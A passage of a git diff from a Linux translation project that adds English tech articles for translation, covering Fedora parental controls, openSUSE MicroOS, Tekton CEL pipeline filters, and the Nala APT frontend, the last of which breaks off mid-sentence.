+[b]: https://github.com/lkxed +[1]: https://ostechnix.com/getting-started-with-docker/ +[2]: https://ostechnix.com/introduction-to-kubernetes/ +[3]: https://ostechnix.com/how-to-find-if-a-cpu-supports-virtualization-technology-vt/ +[4]: https://docs.docker.com/desktop/release-notes/ +[5]: https://ostechnix.com/wp-content/uploads/2022/07/Check-Docker-Engine-And-Docker-Compose-Version.png +[6]: https://docs.docker.com/desktop/release-notes/ +[7]: https://docs.docker.com/desktop/release-notes/ +[8]: https://ostechnix.com/wp-content/uploads/2022/07/Accept-Docker-Desktop-Service-Agreement.png +[9]: https://ostechnix.com/wp-content/uploads/2022/07/Docker-Desktop-Dashboard.png +[10]: https://ostechnix.com/wp-content/uploads/2022/07/Docker-Menu.png +[11]: https://ostechnix.com/wp-content/uploads/2022/07/Docker-Desktop-Top-Pane.png +[12]: https://ostechnix.com/wp-content/uploads/2022/07/Troubleshooting-Section.png +[13]: https://ostechnix.com/wp-content/uploads/2022/07/Docker-Desktop-Settings.png +[14]: https://docs.docker.com/desktop/linux/#credentials-management +[15]: https://ostechnix.com/wp-content/uploads/2022/07/Docker-Desktop-Left-Pane.png +[16]: https://ostechnix.com/wp-content/uploads/2022/07/Run-Container-In-Docker-Desktop.png +[17]: https://ostechnix.com/wp-content/uploads/2022/07/View-Docker-Images.png +[18]: https://ostechnix.com/wp-content/uploads/2022/07/View-Menu-Options-For-Docker-Images.png +[19]: https://ostechnix.com/wp-content/uploads/2022/07/Create-New-Docker-Container.png +[20]: https://ostechnix.com/wp-content/uploads/2022/07/Delete-Docker-Container.png +[21]: https://ostechnix.com/wp-content/uploads/2022/07/Delete-Docker-Image.png +[22]: https://ostechnix.com/wp-content/uploads/2022/07/Login-To-Docker-Hub.png +[23]: https://ostechnix.com/wp-content/uploads/2022/07/Allow-Docker-Hub-Site-To-Open-Docker-Desktop-Application.png +[24]: https://ostechnix.com/wp-content/uploads/2022/07/Logged-in-To-Docker-Hub.png +[25]: https://ostechnix.com/wp-content/uploads/2022/07/Install-Docker-Extension.png +[26]: https://ostechnix.com/wp-content/uploads/2022/07/Portainer-Extension-In-Docker-Desktop.png +[27]: https://ostechnix.com/wp-content/uploads/2022/07/Select-Local-Environment.png +[28]: https://ostechnix.com/wp-content/uploads/2022/07/Portainer-GUI.png +[29]: https://docs.docker.com/desktop/ diff --git a/sources/tech/20220720 Fedora and Parental Controls.md b/sources/tech/20220720 Fedora and Parental Controls.md new file mode 100644 index 0000000000..f068be7a53 --- /dev/null +++ b/sources/tech/20220720 Fedora and Parental Controls.md @@ -0,0 +1,120 @@ +[#]: subject: "Fedora and Parental Controls" +[#]: via: "https://fedoramagazine.org/fedora-36-and-parental-controls/" +[#]: author: "Kevin Degeling https://fedoramagazine.org/author/eonfge/" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Fedora and Parental Controls +====== + +![Two cudly penguins][1] + +Photo by [Torsten Dederichs][2] on [Unsplash][3], font is [josefin-slab][4] + +We all have people around us, whom we hold dear. Some of them might even rely on you to keep them save. And since the world is constantly changing, that can be a challenge. No more is this apparent than with children, and Linux has long been lacking simple tools to help parents. But that is changing, and here we’ll talk about the new parental controls that Fedora Linux provides. + +### Users and permissions + +First, it’s important to know that any Linux system has a lot of options for user, group, and permission management. Many of these advanced tools are aimed at [professional users][5], though, and we won’t be talking about those here. In this article we’ll focus on home users. + +Additionally, parental controls are not just useful for parents. You can use them when helping family members who are technically illiterate. Or perhaps you want to configure a basic workstation for simple administrative tasks. Either way, parental control can offer many security and reliability benefits. + +#### Creating users + +From the _Settings_ panel, you can navigate to _Users_ and from there you can select _Add User…_ (after unlocking) to add a new user. You can give them a personal name, a username and their own icon. You can even decide if somebody else should also be an administrator. + +![Adding a user to your machine is as simple as going to settings, users, and clicking Add User…][6] + +You can also set a default password, or even allow a computer to automatically log in. You should help others understand digital security and the value of passwords, but for some people it might be better to just auto-login. + +#### Admin rights + +When you give somebody administrator rights, that user will have the same powers as you have on the system. They will be able to make any system change they prefer, and they can also add and remove users themselves. + +Users who do not have admin rights, will not be able to make fundamental changes to the computer. They can still use all applications that are already on the system, and they can even download applications from the internet to their home folder. Still, they are ultimately blocked from doing anything that could damage the system. + +![Accessing the user-directories of others. Only administrator users will be able to do this.][7] + +Don’t forget that as an administrator, you can always reset a password. You can also enter another user’s home directory in case you have to. As with all ‘sudo’ rights, you should be careful and you should be considerate of other’s privacy. + +### Application control + +Once one or multiple users are created, you can choose to tweak and control what applications somebody can use. This is done from within _Settings > Users_ by selecting the new user then selecting _Parental Controls_ and then _Restrict Applications._ Other options are available there, as well. + +![changing Parental Controls for a single user.][8] + +### However, there is a big caveat + +Parental controls come with a big caveat: If you want a simple home-user solution, you MUST use Flatpaks. + +The problem is as follows. The existing Linux application landscape is quite complex, and it would be almost impossible to introduce a new user-friendly application-control system this late into its life cycle. Thus, the second best solution is to ensure that the next generation of packaging has such functionality from the start. + +To use Flatpaks, you can use the Fedora’s repository, or the [Flathub repository][9]. If you want to know all the fine details about those projects, then don’t forget to read this [recent comparison][10]. + +### Compromise and limitations + +No article would be complete without mentioning the inherit limitations of the parental controls. Besides all the obvious limits of computers not knowing right from wrong, there are also some technical limits to parental controls. + +#### Parental Control’s limits + +The security that Parental Controls provides will only work as long as Fedora Linux is running in working order. One could easily bypass all controls by flashing Fedora on a USB stick and starting from a clean, root-powered, installation image. At this point, human supervision is still superior to the machine’s rules. + +Adding to that, there are the obvious issues of browsers, store fronts like Steam, and other on-line applications. You can’t block just parts of these applications. Minecraft is a great game for children, but it also allows direct communication with other people. Thus, you’ll have to constantly juggle permissions. Here too, it is better to focus on the human element instead of relying to much on the tools. + +Finally, don’t forget about protecting the privacy and well-being of others online. Blocking bad actors with [Ublock Origin][11] and/or a [DNS based blocker][12] will also help a lot. + +#### Legacy applications + +As mentioned before, Fedora and Parental Controls only work with Flatpaks. Every application that is already on the system can be started by users who otherwise don’t have the permissions. + +As a rule of thumb; If you want to share a computer with vulnerable family members, don’t install any software that’s inappropriate using the RPM Repositories. Instead, consider using a Flatpak. + +![Starting the system-wide installation of Firefox from the Terminal. The Flatpak version of Firefox though, will not start.][13] + +### Summary + +There is much that you can do to help those who are less experienced with computers. By simply giving these users their own account and using Flatpaks, you can make their lives a lot easier. Age restrictions can even offer additional benefits. But it’s not all perfect, and good communication and supervision will still be important. + +The Parental Controls will improve over time. They have been given more priority in the past few years and there are additional plans. Time-tracking is, for example planned. As the migration to Flatpaks continues, you can expect that more software will respect age-restrictions in the future. + +#### Additional US and UK resources + + * + * + + + +![Sharing Fedora Linux with Parental Controls][14] + +_So, let’s start a small collaboration here. We’ve all been younger, so how did you escape your parents’ scrutiny? And for those who are taking care of others… how are you helping others? Let’s see what we can learn from each other._ + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/fedora-36-and-parental-controls/ + +作者:[Kevin Degeling][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/eonfge/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2022/07/fedora-and-parental-control-816x345.jpg +[2]: https://unsplash.com/photos/3dDa9p4FU9U +[3]: https://unsplash.com +[4]: https://fonts.google.com/specimen/Josefin+Slab +[5]: https://fedoramagazine.org/managing-user-accounts-with-cockpit/ +[6]: https://fedoramagazine.org/wp-content/uploads/2022/07/Composition_01-1024x586.png +[7]: https://fedoramagazine.org/wp-content/uploads/2022/07/Screenshot-from-2022-07-13-19-56-52.png +[8]: https://fedoramagazine.org/wp-content/uploads/2022/07/Composition_02-1.png +[9]: https://flathub.org/home +[10]: https://fedoramagazine.org/comparison-of-fedora-flatpaks-and-flathub-remotes/ +[11]: https://ublockorigin.com/ +[12]: https://avoidthehack.com/best-dns-privacy +[13]: https://fedoramagazine.org/wp-content/uploads/2022/07/Screenshot-from-2022-07-13-19-39-12-1024x524.png +[14]: https://fedoramagazine.org/wp-content/uploads/2022/07/desktop-1024x524.png diff --git a/sources/tech/20220721 Hands-on With openSUSE MicroOS – Adaptable Linux Platform [First Look].md b/sources/tech/20220721 Hands-on With openSUSE MicroOS – Adaptable Linux Platform [First Look].md new file mode 100644 index 0000000000..2551424010 --- /dev/null +++ b/sources/tech/20220721 Hands-on With openSUSE MicroOS – Adaptable Linux Platform [First Look].md @@ -0,0 +1,133 @@ +[#]: subject: "Hands-on With openSUSE MicroOS – Adaptable Linux Platform [First Look]" +[#]: via: "https://www.debugpoint.com/opensuse-microos-alp-first-look/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Hands-on With openSUSE MicroOS – Adaptable Linux Platform [First Look] +====== +We tried the openSUSE MicroOS in a virtual machine. Here’s how it looks. + +![][0] + +![openSUSE MicroOS – ALP – KDE Plasma Desktop][1] + +### Context + +A while back, I [wrote][2] about the Adaptable Linux Platform (ALP) from openSUSE, which may replace the current long-term-support version of openSUSE Leap. + +During that time, little information was available on what exactly ALP is? How does it look? + +That said, we now have a test ISO to try additional detail about openSUSE MicroOS. And I did a quick spin and listed down the findings. + +Read on. + +### What is an Adaptable Linux Platform? + +By definition, openSUSE Micro OS via ALP introduces an atomic and transactional-based Linux operating system with a read-only root partition (via the [btrfs file system][3]). Targeted to host container workloads, it gives several advantages over traditional Linux Operating systems. + +Your root file system remains intact in every boot over your installation’s life cycle. The OS updates happen via HTTPS, and it’s atomic in nature. Via btrfs, the MicroOS creates multiple subvolumes – read-only and writable. This is one of the great advantages of btrfs, which Fedora Linux adopted as a default file system last year. + +You might be wondering, what about the software or apps you install. Well, when you install applications in MicroOS, it gets installed in a container completely separate from the root file system. It gives you advantages of early rollback, safe for harmful scripts and easy recovery for a failed system. + +To compare, it’s more like [Fedora Silverblue][4] or [Fedora Kinoite][5], which have the same atomic concept. + +### What is the future of openSUSE Leap? + +Although it is not clear about the future of openSUSE Leap but looks like the final release of openSUSE Leap would be 15.5, which is due on 2023. And after that, MicroOS gets the “Leap” version of openSUSE. + +“SUSE Linux Enterprise 15 is using the tick-tock model, where 15 SP4 would be the feature release while 15 SP5 would be more of a bug fix or perhaps it better to say *maintenance* release” says Lubos Kocman in an earlier [email][6]. + +### openSUSE MicroOS – Test Drive + +#### Download and Installation + +Almost all the necessary types of MicroOS images are available, classified by CPU architecture and platforms. So, you have the traditional 64-bit ISO image with Desktop Environments for desktops, laptops, and then the other container, cloud and VM images. + +For Laptops and desktops, the available options at the moment are GNOME & KDE Plasma. And it supports only KVM for virtual machines (such as [virt-manager][7]). + +I downloaded the KDE Plasma edition with a full DVD image of around 3+ GB in size. You can find the download links [here][8]. + +The installer is the same as the openSUSE installer. However, there are specific settings for the type of MicroOS installation you want to perform. For example, before installation, you need to choose whether the installation is for desktops, containers, remote attestations and others. + +![openSUSE MicroOS Installation options][9] + +Thus, a default installation, for example, KDE Plasma, takes approx 2 GB of disk space. + +The installation went fine, with no problem whatsoever. + +Let’s explore. + +#### Inner Workings of openSUSE MicroOS + +From an average user standpoint, you may not find any difference between a normal openSUSE install and a MicroOS installation. The same Login screens, desktops and apps. + +But there are differences in how it is configured. + +Firstly, the installation partition has several subvolumes. As you can see in the below image, it has several volumes, including a .snapshot directory. This directory stores snapshots of your system, as mentioned above. It’s a complete file system copy. + +![Subvolume structure in MicroOS][10] + +The .snapshot directory is further expanded with the snapshot#, which increments by 1 starting with 1. As you can see in the image below, the first snapshot 1 has a complete filesystem copy. + +![Snapshot contents][11] + +Since the system is read-only, you can’t do much. That’s the idea of an atomic system. But it is difficult for an average user to try it out if they don’t have a concept of a container or usage of the Toolbox. For example, there are no browser or Yast packages to install. Since I have used KDE Plasma, Discover won’t let me install any apps. + +And Zypper is also not allowing it to. + +But the [Toolbox][12] worked as it was supposed to. Initially, I thought it was not installed by default. + +The default installation of the Toolbox worked perfectly; it created a container by default with the username. + +![Toolbox creating a container in MicroOS][13] + +I managed to install a sample package to test the container in MicroOS. + +![Installing apps in a container in MicroOS][14] + +### Wrapping Up + +I hope this helps you to understand and get an idea about the openSUSE MicroOS and its inner workings. Since it is still under development, many changes may arrive in the future. + +If you are an openSUSE Leap user, you must try it and see how it’s falling into your current workflow. Because at a certain point in future, Leap shall not be available anymore. So, you may want to adopt MicroOS or Tumbleweed. + +Hence, the team is also looking for your feedback, comments or suggestions while you try this dev build and help to steer its development and decisions. You can create a post on the [official mailing list][15] with your feedback and questions. + +Finally, what do you think about MicroOS and Leap’s future? Does it beneficial for the sysadmins and average users? Let me know in the comment box below. + +*[Via openSUSE Blog][16]* + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/opensuse-microos-alp-first-look/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[0]: https://www.debugpoint.com/wp-content/uploads/2022/07/opensusehead1.jpg +[1]: https://www.debugpoint.com/wp-content/uploads/2022/07/openSUSE-MicroOS-ALP-KDE-Plasma-Desktop.jpg +[2]: https://debugpointnews.com/alp-opensuse-announcement/ +[3]: https://btrfs.wiki.kernel.org/index.php/Main_Page +[4]: https://silverblue.fedoraproject.org/ +[5]: https://kinoite.fedoraproject.org/ +[6]: https://lists.opensuse.org/archives/list/project@lists.opensuse.org/thread/SHINA373OTC7M4CVICCKXDUXN5C3MYX3/ +[7]: https://www.debugpoint.com/virt-manager/ +[8]: https://get.opensuse.org/microos/ +[9]: https://www.debugpoint.com/wp-content/uploads/2022/07/openSUSE-MicroOS-Installation-options.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/07/Subvolume-structure-in-MicroOS.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/07/Snapshot-contents.jpg +[12]: https://docs.fedoraproject.org/en-US/fedora-silverblue/toolbox/ +[13]: https://www.debugpoint.com/wp-content/uploads/2022/07/Toolbox-creating-a-container-in-MicroOS1.jpg +[14]: https://www.debugpoint.com/wp-content/uploads/2022/07/Installing-apps-in-container-in-MicroOS.jpg +[15]: https://lists.opensuse.org/archives/list/alp-community-wg@lists.opensuse.org/ +[16]: https://news.opensuse.org/2022/07/19/microos-desktop-use-to-help-with-alp-feedback/ diff --git a/sources/tech/20220722 Create conditional pipelines with CEL.md b/sources/tech/20220722 Create conditional pipelines with CEL.md new file mode 100644 index 0000000000..aee4430708 --- /dev/null +++ b/sources/tech/20220722 Create conditional pipelines with CEL.md @@ -0,0 +1,152 @@ +[#]: subject: "Create conditional pipelines with CEL" +[#]: via: "https://opensource.com/article/22/7/conditional-tekton-pipelines-cel" +[#]: author: "Camilla Conte https://opensource.com/users/spotlesstofu" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Create conditional pipelines with CEL +====== +Control when automated builds happen in Tekton with CEL. + +![Plumbing tubes in many directions][1] + +You just followed a guide to start your Tekton pipeline (or task) when a merge request is created or updated on your GitLab project. So you configured GitLab to send merge request **events** as **webhooks**. And you deployed some **Tekton** components: + +* EventListener: receives webhooks from GitLab +* Trigger: starts your Pipeline every time the EventListener receives a new webhook from GitLab +* Pipeline: fetches the source code from GitLab and builds it + +Then you notice that any event in your merge request (a new comment, a tag change) triggers the pipeline. That's not the behavior you desire. You don't need to build a comment or a tag, after all. You only want the pipeline to run when there is actual new code to build. Here's how I use Tekton's CEL Interceptor to create conditionals for my pipelines. + +### Have your trigger ready + +I expect you have a trigger already defined. It's probably something similar to the snippet below. + +The trigger's interceptor rejects anything that's not coming from a merge request. Still, the interceptor is not able to differentiate between code and non-code updates (like new comments). + +``` +apiVersion: triggers.tekton.dev/v1beta1 +kind: Trigger +metadata: +  name: webhook-listener-trigger +spec: +  interceptors: +    # reject any payload that's not a merge request webhook +    - name: "filter-event-types" +      ref: +        name: "gitlab" +        kind: ClusterInterceptor +      params: +        - name: eventTypes +          value: +            - "Merge Request Hook" +  bindings: +    - ref: binding +  template: +    ref: template +``` + +### Add a CEL interceptor + +Here comes the `cel` interceptor. This interceptor filters the webhook payload using the CEL expression language. If the filter expression evaluates to `true`, the pipeline starts. + +Here I'm checking for the `object_attributes.oldrev` field to exist in the JSON body of the webhook payload. If `object_attributes.oldrev` exists, then that means this event is about a code change. If there wasn't a code change, there's no previous revision (`oldrev` ) to refer to. + +``` +spec: +  interceptors: +    - name: "allow-code-changes-only" +      ref: +        name: cel +        kind: ClusterInterceptor +      params: +        - name: filter +          value: > +            has(body.object_attributes.oldrev) +``` + +Add the new interceptor to your trigger. Now your trigger looks like this: + +``` +apiVersion: triggers.tekton.dev/v1beta1 +kind: Trigger +metadata: +  name: gitlab-listener-trigger +spec: +  interceptors: +    - name: "verify-gitlab-payload" +      ref: +        name: "gitlab" +        kind: ClusterInterceptor +      params: +        - name: eventTypes +          value: +            - "Merge Request Hook" +    - name: "allow-code-changes-only" +      ref: +        name: "cel" +        kind: ClusterInterceptor +      params: +        - name: filter +          value: > +            has(body.object_attributes.oldrev) +  bindings: +    - ref: binding +  template: +    ref: template +``` + +Deploy this new version of the trigger and enjoy the powers of automation. From now on, your pipeline only starts if there is some new code to build. + +### Tips + +There are no limits to the conditions you can set in a CEL filter. + +You may check that the merge request is currently open: + +``` +body.object_attributes.state in ['opened'] +``` + +You can make sure the contributor finished their work on the code: + +``` +body.object_attributes.work_in_progress == false +``` + +You just have to concatenate multiple conditions correctly: + +``` +- name: filter +  value: > +    has(body.object_attributes.oldrev) && +    body.object_attributes.state in ['opened'] && +    body.object_attributes.work_in_progress == false +``` + +Check out the [merge request events][2] documentation to get inspired to write your own conditions. + +You may need the [CEL language definition][3] to know how to translate your thoughts into code. + +To evaluate types other than strings, you want to know the [mapping between JSON and CEL][4] types. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/conditional-tekton-pipelines-cel + +作者:[Camilla Conte][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/spotlesstofu +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/plumbing_pipes_tutorial_how_behind_scenes.png +[2]: https://docs.gitlab.com/ee/user/project/integrations/webhook_events.html#merge-request-events +[3]: https://github.com/google/cel-spec/blob/master/doc/langdef.md +[4]: https://github.com/google/cel-spec/blob/master/doc/langdef.md#json-data-conversion diff --git a/sources/tech/20220723 Nala – A Feature-rich Commandline Frontend For APT Package Manager.md b/sources/tech/20220723 Nala – A Feature-rich Commandline Frontend For APT Package Manager.md new file mode 100644 index 0000000000..f941cf9e1d --- /dev/null +++ b/sources/tech/20220723 Nala – A Feature-rich Commandline Frontend For APT Package Manager.md @@ -0,0 +1,561 @@ +[#]: subject: "Nala – A Feature-rich Commandline Frontend For APT Package Manager" +[#]: via: "https://ostechnix.com/nala-commandline-frontend-for-apt/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Nala – A Feature-rich Commandline Frontend For APT Package Manager +====== +Nala is a feature-rich package management tool for Debian, Ubuntu and its derivatives + +**Apt**, stands for "**A**dvanced **P**ackage **T**ool", is the default, command line package manager for Debian, Ubuntu and its derivatives such as Elementary OS, Linux Mint and Pop!_OS. Using apt, we can search, install, update, upgrade and remove packages in a DEB-based system. There are a few APT frontends exists. Two popular APT front-ends are Aptitude and Synaptic. Today, we will talk about yet another APT frontend tool called **"Nala"**. + +### What Is Nala? + +Nala is a commandline frontend for the APT package manager. Nala uses `python-apt` api to interact with APT. + +The main goal of Nala is to format the output better, use colors to show what will happen with a package during install, removal, and upgrade. + +The functionality of Nala is same as APT, however Nala includes a few additional features. The developer of Nala took the inspiration from DNF package manager and implemented some of its features in Nala. + +Nala formats the output to be more human readable i.e. **prettier output**. Also, Nala hides unnecessary redundant messages that you will see in APT output. + +Nala supports the **history function**, just like Fedora's `dnf history` feature. Using the Nala's history function, we can see the past transactions and easily undo or redo them. You can easily undo the previous transaction and/or rollback to previous working version when something goes wrong. + +Another notable feature of Nala is **Parallel downloads**. As far as I know, APT package manager doesn't has this feature yet. We should rely on third-party tools like **["Apt-fast"][1]** to speed up the package downloads in Ubuntu. Fortunately, the parallel download feature is enabled by default in Nala. So package download process is bit faster when using Nala. + +The other useful feature included in Nala is **fetching fastest APT mirrors**. Currently, we can use Synaptic or some third-party tools to **[choose the best APT mirror][2]** in Ubuntu. If you use Nala, you don't need to rely on any external tools. By default, Nala will help you to choose the fastest mirrors and write them in a file. + +In summary, Nala ships with the following distinct features out of the box. + +* Pretty output formatting, +* History function, +* Parallel downloads, +* Fetch fastest mirror. + +Nala is an opensource program written in **Python**. The code is freely hosted in GitLab. + +### How To Install Nala + +We can install Nala from a PPA, or using Pacstall or apt/dpkg package managers. + +#### Install Nala Using PPA + +Nala can be installed from **Volian Scar repository** in Debian, Ubuntu and its variants such as Linux Mint, Pop!_OS. + +To add Volian Scar repo in Debian, Ubuntu and its derivatives, run the following command: + +``` +$ echo "deb http://deb.volian.org/volian/ scar main" | sudo tee /etc/apt/sources.list.d/volian-archive-scar-unstable.list +``` + +Add the GPG key: + +``` +$ wget -qO - https://deb.volian.org/volian/scar.key | sudo tee /etc/apt/trusted.gpg.d/volian-archive-scar-unstable.gpg > /dev/null +``` + +Update the sources list: + +``` +$ sudo apt update +``` + +And install Nala in Ubuntu 22.04 / Debian Sid and newer using command: + +``` +$ sudo apt install nala +``` + +For Debian 11 stable, Ubuntu 21.04 and older versions, you need to install the `nala-legacy` package + +``` +$ sudo apt install nala-legacy +``` + +**Heads Up:** It looks like Nala is added to the Debian [Testing] repository and the default repositories of Debian Sid. I don't have Debian Sid, so I can't confirm it though. + +#### Install Nala Using Pacstall + +Nala developer has created a pacscript for **[Pacstall][3]**. + +First, install Pacstall as described in the link above. + +Once that is complete, simply run the following command to install Nala. + +``` +$ pacstall -I nala-deb +``` + +#### Install Nala From Binaries + +Download Nala latest `.deb` file from the **[releases][4]** page. + +And install it locally through `apt` or `dpkg`. + +``` +$ sudo apt install /path/to/nala_version_arch.deb +$ sudo apt install -f +``` + +Or + +``` +$ sudo dpkg -i /path/to/nala_version_arch.deb$ sudo apt install -f +``` + +### Nala Commands Usage + +As stated already, Nala usage is pretty much same as Apt. The Nala commands are identical to the apt variant, but the output is formatted differently. + +Let us start by displaying Nala help manual. + +#### View Nala Help + +To display nala command help section, use `-h` or `--help` flag like below: + +``` +$ nala --help +``` + +**Sample output:** + +``` +Usage: nala [OPTIONS] COMMAND [ARGS]... + + Each command has its own help page. + + For Example: `nala history --help` + +Options: + --version Show program's version number and exit. + --license Reads the GPLv3 which Nala is licensed under. + --install-completion Install completion for the current shell. + --show-completion Show completion for the current shell, to copy it or + customize the installation. + -h, --help Show this message and exit. + +Commands: + autopurge Autopurge packages that are no longer needed. + autoremove Autoremove packages that are no longer needed. + clean Clear out the local archive of downloaded package files. + fetch Fetch fast mirrors to speed up downloads. + history Show transaction history. + install Install packages. + list List packages based on package names. + purge Purge packages. + remove Remove packages. + search Search package names and descriptions. + show Show package details. + update Update package list. + upgrade Update package list and upgrade the system. +``` + +As you can see in the above output, Nala has all essential commands for basic package management operations in Debian-based systems. + +Each Nala sub-command has its own help section. For instance, to view the help section of the `update` command, you can use the following command: + +``` +$ nala update -h +``` + +#### Update Repositories + +To update the software repositories using Nala, run: + +``` +$ sudo nala update +``` + +**Sample output:** + +``` +$ sudo nala update +╭─ Updating Package List ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ +│No Change: http://in.archive.ubuntu.com/ubuntu jammy InRelease │ +│No Change: https://download.docker.com/linux/ubuntu jammy InRelease │ +│No Change: http://in.archive.ubuntu.com/ubuntu jammy-updates InRelease │ +│No Change: http://in.archive.ubuntu.com/ubuntu jammy-backports InRelease │ +│No Change: http://deb.volian.org/volian scar InRelease │ +│Updated: http://security.ubuntu.com/ubuntu jammy-security InRelease [110 kB] │ +│No Change: https://ppa.launchpadcontent.net/flexiondotorg/quickemu/ubuntu jammy InRelease │ +│No Change: https://ppa.launchpadcontent.net/yannick-mauray/quickgui/ubuntu jammy InRelease │ +│Fetched 110 kB in 6s (2555 B/s) │ +╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ +1 packages can be upgraded. Run 'nala list --upgradable' to see them. +``` + +![Nala Update Command][5] + +Now, run the actual `apt update` command and compare the output of both commands: + +``` +$ sudo apt update +``` + +![Nala Update Vs Apt Update Command][6] + +Did you get the difference? The `nala update` command's output is more human-friendly than the `apt update` command's output. + +Nala displays a title to describe the actual purpose of the given command. As you in the above output, Nala displays "Updating Package List" on the top. The user will easily understand know what the given command will do. + +The other minor difference is Nala displays "No change" message if the repository is not changed or updated. It also eliminates the following lines from the output. + +``` +[...] +Reading package lists... Done +Building dependency tree... Done +Reading state information... Done +[...] +``` + +Apt will display these three lines in all commands. + +#### Upgrade Packages + +To upgrade your Debian or Ubuntu system, run: + +``` +$ sudo nala upgrade +``` + +**Sample output:** + +``` +╭─ Updating Package List ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ +│No Change: http://in.archive.ubuntu.com/ubuntu jammy InRelease │ +│Updated: https://download.docker.com/linux/ubuntu jammy InRelease [48.9 kB] │ +│No Change: http://in.archive.ubuntu.com/ubuntu jammy-updates InRelease │ +│No Change: http://in.archive.ubuntu.com/ubuntu jammy-backports InRelease │ +│Updated: http://security.ubuntu.com/ubuntu jammy-security InRelease [110 kB] │ +│No Change: http://deb.volian.org/volian scar InRelease │ +│No Change: https://ppa.launchpadcontent.net/flexiondotorg/quickemu/ubuntu jammy InRelease │ +│No Change: https://ppa.launchpadcontent.net/yannick-mauray/quickgui/ubuntu jammy InRelease │ +│Fetched 159 kB in 0s (0 B/s) │ +╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ +================================================================================================================================================== + Upgrading +================================================================================================================================================== + Package: Old Version: New Version: Size: + libfreetype6 2.11.1+dfsg-1build1 2.11.1+dfsg-1ubuntu0.1 389 kB + +================================================================================================================================================== + Summary +================================================================================================================================================== + Upgrade 1 Packages + + +Do you want to continue? [Y/n] y +╭─ Updating Packages ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ +│Unpacking: libfreetype6:amd64 (2.11.1+dfsg-1ubuntu0.1) over (2.11.1+dfsg-1build1) │ +│Setting up: libfreetype6:amd64 (2.11.1+dfsg-1ubuntu0.1) │ +│Processing: triggers for libc-bin (2.35-0ubuntu3) │ +│╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮│ +││✔ Running dpkg … ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 0:00:00 • 3/3││ +│╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯│ +╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ +Finished Successfully +``` + +![Nala Upgrade Command][7] + +The output is quite descriptive and self-explanatory, right? Indeed! You won't see these details in Apt command. + +Nala will display a descriptive title for each action, for example "Updating Package List", "Downloading", "Installing Packages" etc. + +#### Install Packages + +To install a package using Nala, for example **Vim**, simply run: + +``` +$ sudo nala install vim +``` + +**Sample output:** + +![Nala Install Command][8] + +To view the usage of and available options in `nala install` command, simply run: + +``` +$ nala install -h +``` + +#### List Packages + +You can list all packages or specific packages based on their name with `nala list` command. + +To list all packages, simply run `nala list` without any flags. + +``` +$ nala list +``` + +You can also list only the packages that are installed with `-i` , `--installed` flag. + +``` +$ nala list -i +``` + +What if you want to list only the packages that are **explicitly** installed with Nala? That's also possible. Use `-N`, `--nala-installed` flag. + +``` +$ nala list -N +``` + +**Sample output:** + +``` +vim 2:8.2.3995-1ubuntu2 [Ubuntu/jammy main] +├── is installed +└── Vi IMproved - enhanced vi editor +``` + +To view only packages that are upgradable, use `-u`, `--upgradable` option. + +``` +$ nala list -u +``` + +To show all versions of a given package, you can use `-a`, `--all-versions` flag. + +``` +$ nala list -a +``` + +#### Search Packages + +You can search package names and descriptions using a word or REGEX. This command has the same options as the `nala list` command. The only additional flag it has is `-A`, `--all-arches` flag which shows all architectures of a package. + +To search for packages that has "vim" in their name, run: + +``` +$ nala search vim +``` + +When you run nala search without any options, it will show both package names and descriptions. + +To search only the names, use `-n`, `--names` flag. + +``` +$ nala search -n vim +``` + +To show all architectures of a given package, use `-A` (Note it is Uppercase A). + +``` +$ nala search -n -A vim +``` + +Similarly, you can use `-i` to list only the installed packages, use `-N` to list only packages explicitly with Nala, use `-u` to list only upgradable packages. + +You can view all supported options from the `nala search` help section by running the following command. + +``` +$ nala search -h +``` + +#### Show Package Details + +The `show` command displays the information about the given package such as the name, version and dependencies etc. + +``` +$ nala show vim +``` + +![Nala Show Command][9] + +As you see, the `nala show` command is very similar to `apt show` except the package information is highlighted for better readability. + +#### Parallel Downloads + +This is an useful feature of Nala. + +Currently, Apt package manager doesn't has parallel downloads support. However, we can enhance the Apt 